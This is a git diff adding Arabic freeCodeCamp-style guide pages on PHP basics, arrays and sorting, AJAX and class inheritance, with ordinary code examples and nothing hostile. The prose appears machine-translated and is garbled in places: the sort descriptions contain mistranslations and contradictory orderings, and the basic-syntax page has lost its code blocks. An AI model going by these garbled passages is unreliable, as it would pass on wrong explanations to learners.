+   line with just a semicolon no extra whitespace! 
+   END; 
+ 
+   # Second Example 
+   print "This spans 
+   multiple lines. The newlines will be 
+   output as well"; 
+ ?> 
+` 
+
+#### التعليقات متعددة الخطوط -
+
+وهي تستخدم عادة لتوفير خوارزميات pseudocode وشروح أكثر تفصيلاً عند الضرورة. نمط التعليق متعدد الأسطر هو نفسه في C. هنا مثال لتعليقات الأسطر المتعددة.
+
+ `<? 
+   /* This is a comment with multiline 
+      Author : Mohammad Mohtashim 
+      Purpose: Multiline Comments Demo 
+      Subject: PHP 
+   */ 
+ 
+   print "An example with multi line comments"; 
+ ?> 
+` 
+
+### PHP غير حساس للمسافة البيضاء
+
+إن Whitespace هي المادة التي تكتبها غير المرئية عادة على الشاشة ، بما في ذلك المسافات ، وعلامات التبويب ، وعناوين حروف الإرجاع (حروف نهاية السطر).
+
+تعني مساحة PHP الغير حساسة أنه لا يهم أبدًا عدد الأحرف البيضاء التي لديك في صف واحد. حرف واحد أبيض هو نفس العديد من هذه الحروف.
+
+على سبيل المثال ، كل من عبارات PHP التالية التي تعين مجموع 2 + 2 للمتغير $ أربعة يعادل -
+
+ `$four = 2 + 2; // single spaces 
+ $four <tab>=<tab2<tab>+<tab>2 ; // spaces and tabs 
+ $four = 
+ 2+ 
+ 2; // multiple lines 
+` 
+
+### PHP حساس لحالة الأحرف
+
+نعم ، صحيح أن لغة PHP هي لغة حساسة لحالة الأحرف. جرب المثال التالي
+
+ `<html> 
+   <body> 
+ 
+      <?php 
+         $capital = 67; 
+         print("Variable capital is $capital<br>"); 
+         print("Variable CaPiTaL is $CaPiTaL<br>"); 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيؤدي ذلك إلى النتيجة التالية -
+
+ `Variable capital is 67 
+ Variable CaPiTaL is 
+` 
+
+### العبارات عبارة عن تعبيرات منتهية بفواصل منقوطة
+
+بيان في PHP هو أي تعبير متبوع بفاصلة منقوطة (؛) أي تسلسل من عبارات PHP الصالحة التي يتم تضمينها بواسطة علامات PHP هو برنامج PHP صالح. هنا بيان نموذجي في PHP ، والذي يقوم في هذه الحالة بتعيين سلسلة من الأحرف لمتغير يسمى تحية $ -
+
+ `$greeting = "Welcome to PHP!"; 
+` 
+
+### التعبيرات عبارة عن مجموعة من الرموز المميزة
+
+أصغر وحدات البناء في PHP هي الرموز غير القابلة للتجزئة ، مثل الأرقام (3.14159) ، السلاسل (.two.) ، المتغيرات ($ 2) ، الثوابت (TRUE) ، والكلمات الخاصة التي تشكل تركيب PHP نفسه كما لو ، آخر ، في حين ، وهلم جرا
+
+### الأقواس جعل الكتل
+
+على الرغم من أنه لا يمكن الجمع بين العبارات مثل التعبيرات ، يمكنك دائمًا وضع تسلسل من العبارات في أي مكان يمكن أن يتم إرفاق عبارة بإرفاقها في مجموعة من الأقواس المتعرجة.
+
+هنا كلا البيانين متساويين -
+
+ `if (3 == 2 + 1) 
+   print("Good - I haven't totally lost my mind.<br>"); 
+ 
+ if (3 == 2 + 1) { 
+   print("Good - I haven't totally"); 
+   print("lost my mind.<br>"); 
+ } 
+` 
+
+### تشغيل البرنامج النصي PHP من موجه الأوامر
+
+نعم يمكنك تشغيل البرنامج النصي PHP الخاص بك في موجه الأوامر. بافتراض أنك تتابع المحتوى في ملف test.php
+
+ `<?php 
+   echo "Hello PHP!!!!!"; 
+ ?> 
+` 
+
+الآن قم بتشغيل هذا البرنامج النصي كموجه الأوامر كما يلي -
+
+ `$ php test.php 
+` 
+
+سوف ينتج النتيجة التالية -
+
+ `Hello PHP!!!!! 
+` 
+
+نأمل الآن أن يكون لديك معرفة أساسية من PHP بناء الجملة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/PHP Data Types/index.md b/client/src/guide/arabic/php/PHP Data Types/index.md
new file mode 100644
index 0000000000..bba4bb194a
--- /dev/null
+++ b/client/src/guide/arabic/php/PHP Data Types/index.md	
@@ -0,0 +1,28 @@
+---
+title: PHP Data Types
+localeTitle: أنواع البيانات PHP
+---
### أنواع البيانات
+
+يحتوي كل متغير في لغة progarmming على نوع بيانات مقترن. يتطلب كل نوع بيانات كميات مختلفة من الذاكرة ولديه بعض العمليات المحددة التي يمكن إجراؤها فوقها.
+
+\### PHP أنواع البيانات
+
+تدعم PHP أنواع البيانات التالية: 1. `Integers` - هي أعداد كاملة ، بدون علامة عشرية ، مثل 515.
+
+2\. `Doubles` - هي أرقام نقطية عائمة ، مثل 3.159 أو 149.1.
+
+3\. `Booleans` - لديها اثنين فقط من القيم المحتملة إما صحيحة أو خاطئة.
+
+4\. `NULL` - هو نوع خاص يحتوي على قيمة واحدة فقط: NULL.
+
+5\. `Strings` - هي سلاسل من الأحرف ، مثل "PHP يدعم عمليات السلسلة."
+
+6\. `Arrays` - يتم تسمية وفهرسة مجموعات من القيم الأخرى.
+
+7\. `Objects` - هي مثيلات للفئات المعرفة بواسطة المبرمج ، والتي يمكنها حزم كل من الأنواع الأخرى من القيم والوظائف الخاصة بالفئة.
+
+8\. `Resources` - هي متغيرات خاصة تحتفظ بمراجع إلى موارد خارجية (مثل وصلات قواعد البيانات).
+
+الخمسة الأولى هي أنواع بسيطة ، أما النوعان التاليان (المصفوفات والأشياء) فهما مركبان - الأنواع المركبة يمكن أن تحزم قيمًا تعسفية أخرى من النوع التعسفي ، في حين أن الأنواع البسيطة لا تستطيع ذلك.
+
+\### المزيد من المعلومات لمزيد من الموارد ، تفضل بزيارة: https://www.w3schools.com/php/php\_datatypes.asp
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/PHP Operators/index.md b/client/src/guide/arabic/php/PHP Operators/index.md
new file mode 100644
index 0000000000..28ddc7ed5e
--- /dev/null
+++ b/client/src/guide/arabic/php/PHP Operators/index.md	
@@ -0,0 +1,10 @@
+---
+title: PHP Operators
+localeTitle: مشغلي PHP
+---
## مشغلي PHP
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-operators/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/PHP Syantax and Comments/index.md b/client/src/guide/arabic/php/PHP Syantax and Comments/index.md
new file mode 100644
index 0000000000..e1388d0b79
--- /dev/null
+++ b/client/src/guide/arabic/php/PHP Syantax and Comments/index.md	
@@ -0,0 +1,38 @@
+---
+title: PHP Syantax and Comments
+localeTitle: PHP Syantax والتعليقات
+---
### PHP Syantx
+
+تبدو بنية PHP syantax نوعًا ما:
+
+ `    <?php 
+ 
+    // Your PHP code goes here. 
+ 
+    ?> 
+` 
+
+يمكن وضع هذا السيناريو PHP في أي مكان في المستند. يحتوي ملف PHP بشكل عام على علامات HTML ، وبعض رموز البرمجة النصية. ملحق الملف الافتراضي لملفات PHP هو `.php` .
+
+\### كيف تصنع تعليقات في PHP؟
+
+تعليق في PHP code هو خط لا يتم قراءته أو تنفيذه كجزء من البرنامج. الغرض الوحيد منه هو أن يقرأه شخص ينظر إلى الشفرة.
+
+في PHP ، يمكن إجراء التعليقات بطريقتين إما مبطنة أو متعددة الخطوط. يوضح مقتطف الشفرة الموضح أدناه:
+
+ `<? 
+   // This is a single-line comment 
+ 
+    # This is also a single-line comment 
+ 
+   /* 
+     This is a multiple-lines comment block 
+     that spans over multiple 
+     lines 
+   */ 
+ ?> 
+` 
+
+### معلومات اكثر
+
+لمزيد من الموارد ، يمكنك زيارة: https://www.w3schools.com/php/php\_syntax.asp
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/PHP Variables/index.md b/client/src/guide/arabic/php/PHP Variables/index.md
new file mode 100644
index 0000000000..97bb2516a3
--- /dev/null
+++ b/client/src/guide/arabic/php/PHP Variables/index.md	
@@ -0,0 +1,18 @@
+---
+title: PHP Variables
+localeTitle: متغيرات PHP
+---
### PHP- أنواع Vaiables
+
+تعتبر المتغيرات هي الطريقة الرئيسية لتخزين المعلومات بالطريقة الوسطى لبرنامج PHP. يتم التبرع بجميع المتغيرات في PHP بعلامة الدولار الرائدة مثل `$variable_name` . يتم تعيين المتغيرات مع `= operator` ، مع المتغير على الجانب الأيسر والتعبير المراد تقييمه على اليمين.
+
+### تسمية متغيرة
+
+قواعد تسمية المتغير مدرجة أدناه:
+
+1.  يجب أن تبدأ أسماء المتغيرات بحرف حرف أو أحرف سفلية. 2. يمكن أن يتكون اسم المتغير من أرقام ، أحرف ، شرطات سفلية ، ولكن لا يمكنك استخدام أحرف مثل `+ , - , % , ( , ) . &` في اسمها. 3. تعتبر أسماء المتغيرات حساسة لحالة الأحرف `($age and $AGE are two different variables)` أي أن `($age and $AGE are two different variables)` .
+
+### إنشاء (إعلان) متغيرات PHP
+
+في PHP ، يبدأ المتغير بعلامة $ ، متبوعًا باسم المتغير. يوضح مقتطف الشفرة الموجود أدناه.
+
+`shell <?php $txt = "Hello world!"; $x = 6; $y = 10.5; ?>`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/ajax/index.md b/client/src/guide/arabic/php/ajax/index.md
new file mode 100644
index 0000000000..bc1aa17759
--- /dev/null
+++ b/client/src/guide/arabic/php/ajax/index.md
@@ -0,0 +1,110 @@
+---
+title: AJAX
+localeTitle: AJAX
+---
+## AJAX
+
+**AJAX** لتقف على **جافا سكريبت غير متزامن و XML** . إنها ليست لغة برمجة. إنها تقنية لتطوير تطبيقات ويب أفضل وأسرع وتفاعلية باستخدام HTML و CSS و JavaScript و XML.
+
+1.  HTML: يتم استخدام لغة توصيف النص التشعبي (HTML) لتعريف بنية تطبيق ويب.
+2.  CSS: تستخدم ورقة الأنماط المتتالية (CSS) لتوفير مظهر ونمط لتطبيق ويب.
+3.  JavaScript: يتم استخدام JavaScript لجعل تطبيق الويب تفاعليًا ومثيرًا للاهتمام وسهل الاستخدام.
+4.  XML: لغة التوصيف الموسعة (XML) هي تنسيق لتخزين ونقل البيانات من خادم الويب.
+
+#### ما هو معنى غير متزامن في أجاكس؟
+
+غير متزامن يعني أن تطبيق الويب يمكنه إرسال واستقبال البيانات من خادم الويب دون تحديث الصفحة. هذه العملية في الخلفية لإرسال واستقبال البيانات من الخادم مع تحديث أقسام مختلفة من صفحة الويب تعرف خاصية / خاصية Asynchronous لـ AJAX.
+
+#### كيف تعمل **AJAX** ؟
+
+تستخدم AJAX **كائن XMLHttpRequest مضمنًا** في المستعرض لطلب بيانات من خادم الويب و **DOM HTML** لعرض البيانات أو استخدامها.
+
+**XMLHttpRequest Object** : هو واجهة برمجة تطبيقات في شكل كائن تساعد طرقه في نقل البيانات بين مستعرض الويب وخادم الويب.
+
+**HTML DOM** : عند تحميل صفحة الويب ، يقوم المتصفح بإنشاء نموذج كائن المستند للصفحة.
+
+![](https://i.imgur.com/pfC7QFH.png "كيف تعمل AJAX")
+
+**إنشاء كائن XMLHttpRequest:**
+
+ `var xhttp = new XMLHttpRequest(); 
+` 
+
+**خصائص كائن XMLHttpRequest:**
+
+`readystate` خاصية من XMLHttpRequest Object الذي يحتفظ بحالة XMLHttpRequest.
+
+*   0: لم يتم تهيئة الطلب
+*   1: إنشاء اتصال الخادم
+*   2: تم استلام الطلب
+*   3: طلب معالجة
+*   4: طلب الانتهاء والرد جاهز
+
+`onreadystatechange` خاصية من XMLHttpRequest Object الذي يعرّف دالة يتم استدعاؤها عند تغيير خاصية readyState.  
+
+`status` هي خاصية XMLHttpRequest Object والتي تقوم بارجاع رقم حالة الطلب
+
+*   200: "حسنا"
+*   403 ممنوع"
+*   404 غير موجود"
+
+**أساليب كائن XMLHttpRequest:** لإرسال طلب إلى خادم ويب ، نستخدم الأساليب open () و send () للكائن XMLHttpRequest.
+
+ `xhttp.open("GET", "content.txt", true); 
+ xhttp.send(); 
+` 
+
+**إنشاء تغيير وظيفةContent () باستخدام JavaScript:**
+
+ `function changeContent() { 
+  var xhttp = new XMLHttpRequest(); 
+  xhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+     document.getElementById("foo").innerHTML = this.responseText; 
+    } 
+  }; 
+  xhttp.open("GET", "content.txt", true); 
+  xhttp.send(); 
+ } 
+` 
+
+**مثال AJAX لتغيير محتوى صفحة الويب:**
+
+ `<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <div id="foo"> 
+ <h2>The XMLHttpRequest Object</h2> 
+ <button type="button" onclick="changeContent()">Change Content</button> 
+ </div> 
+ 
+ <script> 
+ function changeContent() { 
+  var xhttp = new XMLHttpRequest(); 
+  xhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+      document.getElementById("foo").innerHTML = 
+      this.responseText; 
+    } 
+  }; 
+  xhttp.open("GET", "content.txt", true); 
+  xhttp.send(); 
+ } 
+ </script> 
+ 
+ </body> 
+ </html> 
+` 
+
+يجب أن يكون الملف `content.txt` موجودًا في الدليل الجذر لتطبيق الويب.
+
+### مصادر
+
+*   [W3Schools](https://www.w3schools.com/js/js_ajax_intro.asp)
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX/Getting_Started)
+
+### موارد آخرى
+
+*   [W3Schools](https://www.w3schools.com/js/js_ajax_intro.asp)
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX/Getting_Started)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/array/index.md b/client/src/guide/arabic/php/array/index.md
new file mode 100644
index 0000000000..391025f27c
--- /dev/null
+++ b/client/src/guide/arabic/php/array/index.md
@@ -0,0 +1,35 @@
+---
+title: array
+localeTitle: مجموعة مصفوفة
+---
+## مقدمة من مجموعة PHP
+
+المصفوفة في PHP هي في الواقع خريطة مرتبة. الخريطة هي نوع يربط القيم بالمفاتيح. تم تحسين هذا النوع لعدة استخدامات مختلفة ؛ يمكن التعامل معه كصفيف ، قائمة (متجه) ، جدول هاش (تنفيذ خريطة) ، قاموس ، تجميع ، كومة ، طابور ، وربما أكثر. وحيث أن قيم المصفوفة يمكن أن تكون صفائف أخرى ، فإن الأشجار والمصفوفات متعددة الأبعاد ممكنة أيضا.
+
+هنا مثال:
+
+ `<?php 
+ // array without keys 
+ $bikes = array("Suzuki","BMW","Yamaha"); 
+ echo "I like " . $bikes[0] . ", " . $bikes[1] . " and " . $bikes[2] . "."; 
+ ?> 
+` 
+
+مجموعة PHP لديها العديد من الوظائف للعمل بها. هنا هو كل قائمة تم فرزها: [وظائف](https://www.w3schools.com/php/php_ref_array.asp)
+
+## صفائف الارتباط
+
+يمكن استخدام صفائف PHP كخريطة أساسية وقيمة مثل الخريطة. يمكن الوصول إليها عن طريق المفتاح أيضا.
+
+هذا مثال بسيط:
+
+ `<?php 
+ $array = array( 
+    "foo" => "bar", 
+    "bar" => "foo", 
+ ); 
+ 
+ echo $array['bar']; 
+` 
+
+أتمنى لك يومًا سعيدًا وترميزًا سعيدًا !!!
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/arrays/index.md b/client/src/guide/arabic/php/arrays/index.md
new file mode 100644
index 0000000000..21c0a4d0df
--- /dev/null
+++ b/client/src/guide/arabic/php/arrays/index.md
@@ -0,0 +1,41 @@
+---
+title: Arrays
+localeTitle: المصفوفات
+---
+## المصفوفات
+
+### أنواع المصفوفات
+
+يوجد في PHP ثلاثة أنواع من المصفوفات: المصفوفات المفهرسة ، المصفوفات المرافقة ، والمصفوفات متعددة الأبعاد.
+
+### مثال صفيف مفهرسة
+
+صفيف مفهرسة يصل إلى الكائنات حسب رقم الفهرس.
+
+ `<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+` 
+
+`$freecodecamp[0]` سيعود `"free"` ، `$freecodecamp[1]` سيعود `"code"` ، و `$freecodecamp[2]` سيعود `"camp"` .
+
+### نموذج مجموعة الارتباطات
+
+صفيف جمعية يصل إلى الكائنات عن طريق اسم المفتاح.
+
+ `<?php 
+ $freecodecamp = array("free"=>"0","code"=>"1","camp"=>"2"); 
+` 
+
+`$freecodecamp['free']` سيعود "0" ، `$freecodecamp['code']` سيعود "1" ، `$freecodecamp['camp']` سيعود "2" ،
+
+### مثال صفيف متعدد الأبعاد
+
+المصفوفة متعددة الأبعاد هي مصفوفة تحتوي على صفائف أخرى.
+
+ `<?php 
+ $freecodecamp = array(array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2")); 
+` 
+
+#### معلومات اكثر:
+
+*   [صفائف php.net اليدوي](https://secure.php.net/manual/en/language.types.array.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/arrays/sorting-arrays/index.md b/client/src/guide/arabic/php/arrays/sorting-arrays/index.md
new file mode 100644
index 0000000000..08a7ec1e96
--- /dev/null
+++ b/client/src/guide/arabic/php/arrays/sorting-arrays/index.md
@@ -0,0 +1,137 @@
+---
+title: Sorting Arrays
+localeTitle: فرز المصفوفات
+---
+## فرز المصفوفات
+
+تقدم PHP العديد من الوظائف لفرز المصفوفات. تصف هذه الصفحة الوظائف المختلفة وتتضمن أمثلة.
+
+### فرز()
+
+تقوم الدالة `sort()` بفرز قيم صفيف بترتيب أبجدي / رقمي تصاعدي (على سبيل المثال A ، B ، C ، D ، E… 5 ، 4 ، 3 ، 2 ، 1 ...)
+
+ `<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+ sort($freecodecamp); 
+ print_r($freecodecamp); 
+` 
+
+**انتاج:**
+
+ `Array 
+ ( 
+    [0] => camp 
+    [1] => code 
+    [2] => free 
+ ) 
+` 
+
+### rsort ()
+
+تقوم `rsort()` بفرز قيم صفيف في ترتيب أبجدي / رقمي تنازلي (Eg Z، Y، X، W، V… 5، 4، 3، 2، 1…)
+
+ `<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+ rsort($freecodecamp); 
+ print_r($freecodecamp); 
+` 
+
+**انتاج:**
+
+ `Array 
+ ( 
+    [0] => free 
+    [1] => code 
+    [2] => camp 
+ ) 
+` 
+
+### asort ()
+
+تقوم الدالة `asort()` بفرز مصفوفة ارتباطية ، حسب قيمها ، بترتيب أبجدي / رقمي تصاعدي (على سبيل المثال A ، B ، C ، D ، E… 5 ، 4 ، 3 ، 2 ، 1 ...)
+
+ `<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ asort($freecodecamp); 
+ print_r($freecodecamp); 
+` 
+
+**انتاج:**
+
+ `Array 
+ ( 
+    [two] => camp 
+    [one] => code 
+    [zero] => free 
+ ) 
+` 
+
+### ksort ()
+
+تقوم `ksort()` بترتيب مصفوفة `ksort()` ، حسب مفاتيحها ، بترتيب أبجدي / رقمي تصاعدي (على سبيل المثال A ، B ، C ، D ، E… 5 ، 4 ، 3 ، 2 ، 1 ...)
+
+ `<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ ksort($freecodecamp); 
+ print_r($freecodecamp); 
+` 
+
+**انتاج:**
+
+ `Array 
+ ( 
+    [one] => code 
+    [two] => camp 
+    [zero] => free 
+ ) 
+` 
+
+### arsort ()
+
+تقوم `arsort()` بترتيب مصفوفة `arsort()` ، حسب قيمها ، بترتيب أبجدي / رقمي تنازلي (Eg Z ، Y ، X ، W ، V… 5 ، 4 ، 3 ، 2 ، 1 ...)
+
+ `<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ arsort($freecodecamp); 
+ print_r($freecodecamp); 
+` 
+
+**انتاج:**
+
+ `Array 
+ ( 
+    [zero] => free 
+    [one] => code 
+    [two] => camp 
+ ) 
+` 
+
+### krsort ()
+
+تقوم `krsort()` بترتيب مصفوفة `krsort()` ، من خلال مفاتيحها في ترتيب أبجدي / رقمي تنازلي (Eg Z ، Y ، X ، W ، V… 5 ، 4 ، 3 ، 2 ، 1 ...)
+
+ `<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ krsort($freecodecamp); 
+ print_r($freecodecamp); 
+` 
+
+**انتاج:**
+
+ `Array 
+ ( 
+    [zero] => free 
+    [two] => camp 
+    [one] => code 
+ ) 
+` 
+
+#### معلومات اكثر:
+
+*   [php.net sort () دليل](https://secure.php.net/manual/en/function.sort.php)
+*   [php.net rsort () دليل](https://secure.php.net/manual/en/function.rsort.php)
+*   [php.net asort () دليل](https://secure.php.net/manual/en/function.asort.php)
+*   [php.net ksort () دليل](https://secure.php.net/manual/en/function.ksort.php)
+*   [php.net arsort () دليل](https://secure.php.net/manual/en/function.arsort.php)
+*   [php.net krsort () دليل](https://secure.php.net/manual/en/function.krsort.php)
+*   [php.net print\_r () دليل](https://secure.php.net/manual/en/function.print-r.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/basic-syntax/index.md b/client/src/guide/arabic/php/basic-syntax/index.md
new file mode 100644
index 0000000000..4677db5b52
--- /dev/null
+++ b/client/src/guide/arabic/php/basic-syntax/index.md
@@ -0,0 +1,43 @@
+---
+title: Basic Syntax
+localeTitle: بناء الجملة الأساسي
+---
+# بناء الجملة الأساسي
+
+يمكن وضع نص PHP في أي مكان بالوثيقة.
+
+يبدأ البرنامج النصي لـ PHP `<?php` وينتهي بـ `?>`
+
+أدناه ، لدينا مثال لملف PHP بسيط ، مع برنامج نصي PHP الذي يستخدم دالة PHP مدمجة "echo" لإخراج النص "Hello World!" على صفحة الويب
+
+\`\` \`\`
+
+# أول صفحة PHP
+
+ `The output of that would be : 
+` 
+
+أول صفحة PHP
+
+مرحبا بالعالم!
+
+ `#### Note: PHP statements end with a semicolon (;). 
+ 
+ # Comments in PHP 
+ 
+ PHP supports several ways of commenting: 
+` 
+
+ `# PHP Case Sensitivity 
+ 
+ In PHP, all keywords (eg if, else, while, echo, etc.), classes, functions, and user-defined functions are NOT case-sensitive. 
+ 
+ In the example below, all three echo statements below are legal (and equal): 
+` 
+
+ `### However; all variable names are case-sensitive. 
+ 
+ In the example below, only the first statement will display the value of the $color variable (this is because $color, $COLOR, and $coLOR are treated as three different variables): 
+` 
+
+\`\` \`\`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/class-inheritance/index.md b/client/src/guide/arabic/php/class-inheritance/index.md
new file mode 100644
index 0000000000..ff1250c13c
--- /dev/null
+++ b/client/src/guide/arabic/php/class-inheritance/index.md
@@ -0,0 +1,257 @@
+---
+title: Class Inheritance
+localeTitle: الوراثة الطبقية
+---
+## الوراثة الطبقية
+
+_إعادة تسمية الكود مع الميراث في البرمجة الموجهة الموجهة_
+
+هنا ، سوف نتحدث عن كيف يمكننا إعادة استخدام الكود الذي كتبناه دون الحاجة إلى أي تعليل برمجي باستخدام الميراث.
+
+### فئة رجل
+
+هذه هي صفحتنا `Man` :
+
+ `<?php 
+ class Man 
+ { 
+    // 1. Declare the class variables 
+    public $name; 
+    protected $age; 
+    public $height; 
+    public $fav_sports; 
+    private $fav_drinks; 
+ 
+    // 2. Create a constructor method with 3 required parameters: name, age and height 
+    public function __construct($name, $age, $height) 
+    { 
+        // 2A. Assign the values of parameters to class properties 
+        // Also known as instance variables 
+        // Using "$this->property_name" 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+ 
+        // 2B. Print out the man's attributes and values upon instantiation 
+        echo "Our man's name is: " . $this->name . "\n"; 
+        echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+    } 
+ 
+    // 3. Create class methods 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    // 4. Age getter method 
+    public function getAge() 
+    { 
+        return $this->age; 
+    } 
+ 
+    // Age setter method 
+    public function setAge($age) 
+    { 
+        $this->age = $age; 
+    } 
+ 
+    // 5. Favorite Drinks setter method 
+    public function setFavDrinks($drinks = array()) 
+    { 
+        if ($drinks) { 
+            $this->fav_drinks = $drinks; 
+        } 
+    } 
+ 
+    // Favorite Drinks getter method 
+    public function getFavDrinks() 
+    { 
+        return $this->fav_drinks; 
+    } 
+ } 
+` 
+
+### رجل صحي
+
+لنفترض أننا نريد إنشاء فئة أخرى تسمى `HealthyMan` والتي تحتوي على كل خصائص وأساليب فئة `Man` .
+
+بدون الاضطرار إلى إعادة كتابة جميع الرموز الخاصة بفئة `Man` ، يمكننا إعادة استخدام هذا الرمز باستخدام الكلمة الأساسية الممتدة.
+
+ `<?php 
+ class HealthyMan extends Man 
+ { 
+ 
+ } 
+` 
+
+الآن لدينا جميع خصائص وأساليب الفصل من رجل داخل `HealthyMan` . يمكننا `HealthyMan` فئة `HealthyMan` للتحقق من هذا سريع حقيقي.
+
+ `<?php 
+ $jackie = new HealthyMan('Jackie', 25, '5\' 5"'); 
+ // => Our man's name is: Jackie 
+ // => He is 25 years old and 5' 5" tall. 
+` 
+
+يمكننا المضي قدمًا ووضع رياضة ومشروبات HealthyMan aka aka المفضلة.
+
+ `<?php 
+ $jackie->fav_sports = ['swimming', 'weight training']; 
+ print_r($jackie->fav_sports); 
+ // => 
+ // Array 
+ // ( 
+ //     [0] => swimming 
+ //     [1] => weight training 
+ // ) 
+ 
+ $jackie->setFavDrinks(['Matcha tea', 'Oolong Tea']); 
+ print_r($jackie->getFavDrinks()); 
+ // => 
+ // Array 
+ // ( 
+ //     [0] => Matcha tea 
+ //     [1] => Oolong Tea 
+ // ) 
+` 
+
+الآن دعنا نرى ما إذا كان باستطاعتنا الاتصال بطرق `giveFirmHandshakes()` الرجل مثل `giveFirmHandshakes()` و `beStubborn()` و `notPutToiletPaper()` .
+
+ `<?php 
+ echo "\n" . $jackie->giveFirmHandshakes(); 
+ // => I give firm handshakes. 
+ 
+ echo "\n" . $jackie->beStubborn(); 
+ // => I am stubborn. 
+ 
+ echo "\n" . $jackie->notPutToiletPaper(); 
+ // => It's not humanly possible to remember to put toilet paper rolls when they are finished 
+` 
+
+نحصل على كل هذه الأشياء من خلال مجرد ترميز فئة رجل باستخدام الكلمة الأساسية الممتدة.
+
+### رجل صحي حقيقي
+
+إذا كنا نرث `HealthyMan` من فئة `Man` ولا نفعل شيئًا بها ، فعندئذٍ يتفوق على الهدف كله.
+
+يحتوي تصنيف HealthyMan على خصائص إضافية مثل `body_fat_percentage` و `workout_per_week` ، وأساليب مثل `eatHealthy()` و `meditateDaily()` و `laughOften()` .
+
+بما أن هذه خصائص شخصية ، فيمكننا إما أن نضع عليها رؤية محمية أو خاصة وأن ننشئ طرق تعيين / تراكب للتغليف الكامل.
+
+ `<?php 
+ class HealthyMan extends Man 
+ { 
+    /** 
+     * HealthyMan properties 
+     */ 
+    private $body_fat_percentage; 
+    private $workout_per_week; 
+ 
+    /** 
+     * HealthyMan methods 
+     */ 
+    public function eatHealthy() 
+    { 
+        return "I only eat healthy meals."; 
+    } 
+ 
+    public function meditateDaily() 
+    { 
+        return "I set aside 20 minutes daily to meditate."; 
+    } 
+ 
+    public function laughOften() 
+    { 
+        return "I watch funny TV shows to unwind myself."; 
+    } 
+ 
+    /** 
+     * HealthyMan Setters and Getters 
+     */ 
+    public function setBodyFatPercentage($fat_percentage) 
+    { 
+        $this->body_fat_percentage  = $fat_percentage; 
+    } 
+ 
+    public function getBodyFatPercentage() 
+    { 
+        return $this->body_fat_percentage; 
+    } 
+ 
+    public function setWorkoutPerWeek($workout_times) 
+    { 
+        $this->workout_per_week = $workout_times; 
+    } 
+ 
+    public function getWorkoutPerWeek() 
+    { 
+        return $this->workout_per_week; 
+    } 
+ } 
+` 
+
+يمكننا استدعاء هذه الطرق لمعرفة ما إذا كانت تعمل كما هو متوقع:
+
+ `<?php 
+ 
+ echo "\n" . $jackie->eatHealthy(); 
+ // => I only eat healthy meals. 
+ 
+ echo "\n" . $jackie->meditateDaily(); 
+ // => I set aside 20 minutes daily to meditate. 
+ 
+ echo "\n" . $jackie->laughOften(); 
+ // => I watch funny TV shows to unwind myself. 
+ 
+ $jackie->setBodyFatPercentage(12); 
+ echo "\nBody Fat %: " . $jackie->getBodyFatPercentage(); 
+ // => Body Fat %: 12 
+ 
+ $jackie->setWorkoutPerWeek(5); 
+ echo "\nWorkout Times Per Week: " . $jackie->getWorkoutPerWeek(); 
+ // => Workout Times Per Week: 5 
+` 
+
+لقد نجحنا في إعادة استخدام الشفرة الحالية ونفذنا برنامجًا دراسيًا للأطفال.
+
+### هل هو ذلك العنيد؟
+
+على الرغم من أنه ورث عن `beStubborn()` من فئة Man ، حيث أن Jackie رجل سليم ، فهو عنيد فقط مرة واحدة فقط في فترة. يمكننا أن نحصل على `beStubborn()` " `beStubborn()` Healthy Man's `beStubborn()` " ليقول "أنا عنيد من حين `beStubborn()` " بدلاً من "أنا عنيد" فقط عن طريق تجاوز أسلوب "الطبقة الأم".
+
+ `<?php 
+ class HealthyMan extends Man 
+ { 
+    ..... 
+    ..... 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn once in a while."; 
+    } 
+ 
+    ..... 
+    ..... 
+ } 
+` 
+
+الآن عندما نتمكن من `beStubborn()` طريقة `beStubborn()` ، سنرى مخرجًا مختلفًا عن ذي قبل:
+
+ `<?php 
+ echo "\n" . $jackie->beStubborn(); 
+ // => I am stubborn once in a while. 
+` 
+
+يوضح هذا كيف يعمل overriding الأسلوب في OOP.
+
+باستخدام تجاوز الأسلوب ، نقوم بشكل أساسي بإعادة تعريف طريقة "الفئة الأصل" داخل الفئة الفرعية.
+
+بهذه الطريقة ، يحتفظ أي مثيل لفئة الأبوين بطريقته الأصلية في حين أن أي مثيل للفئة الفرعية له الطريقة المعدلة أو التي تم تجاوزها.
